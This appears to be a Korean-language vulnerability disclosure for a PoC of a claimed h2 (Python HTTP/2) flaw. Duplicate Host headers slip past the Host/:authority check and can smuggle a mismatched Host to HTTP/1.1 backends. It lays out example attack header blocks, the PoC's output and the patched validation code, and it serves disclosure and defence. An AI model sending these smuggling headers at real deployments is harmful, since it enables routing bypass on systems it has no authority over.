
CVE-2026-71554용 PoC - h2 중복 Host 헤더 요청 스머글링 프리미티브 (4.4.1에서 수정됨)
이것은 제 첫 CVE입니다. 이 PoC를 공개한 것은 이 발견을 문서화하고 다른 사람들이 이해하고 재현하는 데 도움을 주기 위해서입니다.
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg 영향받는 버전: h2 <= 4.4.0 수정된 버전: h2 4.4.1 심각도: Medium (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
h2의 헤더 검증 로직을 검토하던 중 src/h2/utilities.py의 _validate_host_authority_header()가 Host와 :authority가 일치하는지 확인한다는 것을 발견했습니다. 그러나 이 함수는 자신이 본 마지막 Host 헤더만 비교합니다. Host 헤더를 두 개 보내면 h2는 일치 여부 확인에 두 번째 헤더를 사용하고, 아무 문제 없이 두 헤더를 모두 애플리케이션에 전달합니다.
흥미롭게도 h2 4.4.0은 중복된 Content-Length 헤더를 ProtocolError로 이미 거부합니다. 동일한 수정이 Host에는 적용된 적이 없습니다. 소스 코드에는 이러한 정확한 공백을 인정하는 TODO 주석도 있었습니다:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
src/h2/utilities.py의 _validate_host_authority_header()는 마지막으로 본 Host 값을 기록하는 last-wins 루프를 사용하며 다음만 확인합니다:
:authority 또는 Host 중 하나 이상이 존재할 것Host 헤더의 개수에 대한 검사는 없습니다. Host 헤더는 개수와 관계없이 각각 다운스트림의 애플리케이션으로 전달됩니다.
클라이언트가 전송:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2는 둘 다 수락합니다. 애플리케이션은 두 Host 헤더를 모두 받습니다.
HTTP/1.1 다운그레이드 결과:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
RFC 9112 s3.2는 서버가 둘 이상의 Host 헤더를 포함하는 모든 HTTP/1.1 요청에 400으로 응답하도록 요구합니다. 백엔드들은 서로 다르게 동작합니다:
nginx — rejects with 400
Python stdlib — accepts, returns FIRST Host on lookup
Werkzeug — accepts, returns FIRST Host on lookup
클라이언트가 전송:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- index 0, first Host (seen by origin)
host: good.internal <- index 1, last Host (used by h2 validator)
h2 검증: 마지막 Host(good.internal) == :authority(good.internal) — 통과.
애플리케이션은 두 Host 헤더를 모두 받습니다. HTTP/1.1 다운그레이드 결과:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
단일 키 조회에서 첫 번째 Host를 반환하는 백엔드는 요청을 evil.attacker로 라우팅하는 반면, h2는 good.internal을 검증했다고 믿습니다. h2가 검증한 것과 오리진이 처리하는 것 사이에 완전한 라우팅 불일치가 발생합니다.
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2는 ProtocolError를 발생시킵니다. 이는 이 결함이 중복된 Host 헤더에 특정된 것임을 확인해 줍니다.
영향은 배포 아키텍처에 따라 달라집니다:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
세 경우 모두 ProtocolError를 발생시킵니다. 어떤 헤더도 전달되지 않습니다.
_validate_host_authority_header()의 기존 루프에 카운터 하나가 추가되었습니다:
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
커밋: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
발견 및 보고: Sunand Mohan (https://github.com/SunandM)